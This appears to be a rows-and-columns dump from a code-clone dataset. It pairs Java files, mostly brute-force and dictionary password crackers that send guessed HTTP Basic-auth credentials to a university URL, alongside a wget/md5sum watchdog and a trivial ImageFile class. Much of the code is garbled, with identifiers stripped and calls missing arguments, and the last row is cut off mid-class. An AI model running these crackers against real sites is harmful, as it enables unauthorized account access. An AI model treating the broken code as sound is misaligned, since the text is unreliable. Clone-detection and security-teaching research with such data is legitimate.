F1
stringlengths 8
8
| F2
stringlengths 8
8
| label
int64 0
1
| text_1
stringlengths 174
63k
| text_2
stringlengths 174
63k
|
|---|---|---|---|---|
062.java | 082.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = "";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" Characters : "+charset);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Brute force mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Brute force mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" charset : (optional) the character set used crack.");
System.out.println(" - (default)");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -alphanum ");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
System.out.println(" -alphalow ");
System.out.println(" abcdefghijklmnopqrstuvwxyz");
System.out.println(" -alphaup ");
System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -number ");
System.out.println(" 1234567890");
System.out.println(" [custom] e.g. aAbB123");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 10 (default = 1)");
System.out.println(" <= <= 10 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [charset] is specified, then [], [], and");
System.out.println(" [username] have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java BruteForce ");
System.out.println(" java BruteForce 0");
System.out.println(" java BruteForce 1 http://localhost/tryme.php");
System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 ");
System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[4]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals("-")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-alphanum")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
} else
if (args[2].toLowerCase().equals("-alphalow")) {
charset = "abcdefghijklmnopqrstuvwxyz";
} else
if (args[2].toLowerCase().equals("-alphaup")) {
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-number")) {
charset = "1234567890";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println("Please specify the [charset], [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println("The number of parameters expected is not more than 6. ");
System.out.println(" have specified more than 6 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = "-";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
| import java.net.*;
import java.util.*;
import java.io.*;
public class BruteForce {
URL url;
URLConnection uc;
String username, password, encoding;
int pretime, posttime;
String c ;
public BruteForce(){
pretime = new Date().getTime();
try{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
}catch(MalformedURLException e){
e.printStackTrace();
}
username = "";
}
public void checkPassword(char[] pw){
try{
password = new String(pw);
encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
bf = uc.getHeaderField(null);
System.out.println(password);
if(bf.equals("HTTP/1.1 200 OK")){
posttime = new Date().getTime();
diff = posttime - pretime;
System.out.println(username+":"+password);
System.out.println();
System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
System.exit(0);
}
}catch(MalformedURLException e){
e.printStackTrace();
}catch(IOException ioe){
ioe.printStackTrace();
}
}
public static void main (String[] args){
BruteForce bf = new BruteForce();
char i, j, k;
for(i='a'; i<='z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='Z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='a'; j<='z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='a'; i<='z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='z'; j++){
if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
continue;
}
char[] pw = {i, j};
bf.checkPassword(pw);
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
char[] pw = {i};
bf.checkPassword(pw);
}
}
}
|
105.java | 176.java | 0 |
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String dictionary="words";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
try
{
BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
startTime=System.currentTimeMillis();
while (pwd!=null)
{
pwd=inputStream.readLine();
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.out.println("Dictionary not found.");
}
catch(IOException e)
{
System.out.println("Error dictionary");
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} |
public class ImageFile
{
private String imageUrl;
private int imageSize;
public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}
public String getImageUrl()
{
return imageUrl;
}
public int getImageSize()
{
return imageSize;
}
}
|
136.java | 176.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
public class MyWatchDogTimer extends TimerTask
{
public void run()
{
Runtime rt = Runtime.getRuntime();
Process prss= null;
String initialmd5,presentmd5,finalmd5,temp1;
String mesg1 = new String();
String subject = new String("Report of WatchDog");
int i;
try
{
prss = rt.exec("md5sum first.html");
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread1 = new BufferedReader(instre1);
sw = bufread1.readLine();
i = finalmd5.indexOf(' ');
initialmd5 = finalmd5.substring(0,i);
System.out.println("this is of first.html--->"+initialmd5);
prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");
prss = rt.exec("md5sum present.html");
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread2 = new BufferedReader(instre2);
temp1 = bufread2.readLine();
i = temp1.indexOf(' ');
presentmd5 = temp1.substring(0,i);
System.out.println("this is of present.html---->"+presentmd5);
if(initialmd5.equals(presentmd5))
System.out.println("The checksum found using md5sum is same");
else
{
prss = rt.exec("diff first.html present.html > diff.html");
System.out.println(" is different");
prss = null;
mesg1 ="php mail.php";
prss = rt.exec(mesg1);
}
prss = rt.exec("rm present.*");
}catch(java.io.IOException e){}
}
}
|
public class ImageFile
{
private String imageUrl;
private int imageSize;
public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}
public String getImageUrl()
{
return imageUrl;
}
public int getImageSize()
{
return imageSize;
}
}
|
051.java | 176.java | 0 | import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = "";
String pword = "null";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + ":" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println("in catch");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty ("Authorization", " " + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword);
doConnect(i, i+1);
}
else
{
System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
System.out.println( +"\tPassword : "+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
|
public class ImageFile
{
private String imageUrl;
private int imageSize;
public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}
public String getImageUrl()
{
return imageUrl;
}
public int getImageSize()
{
return imageSize;
}
}
|
062.java | 176.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
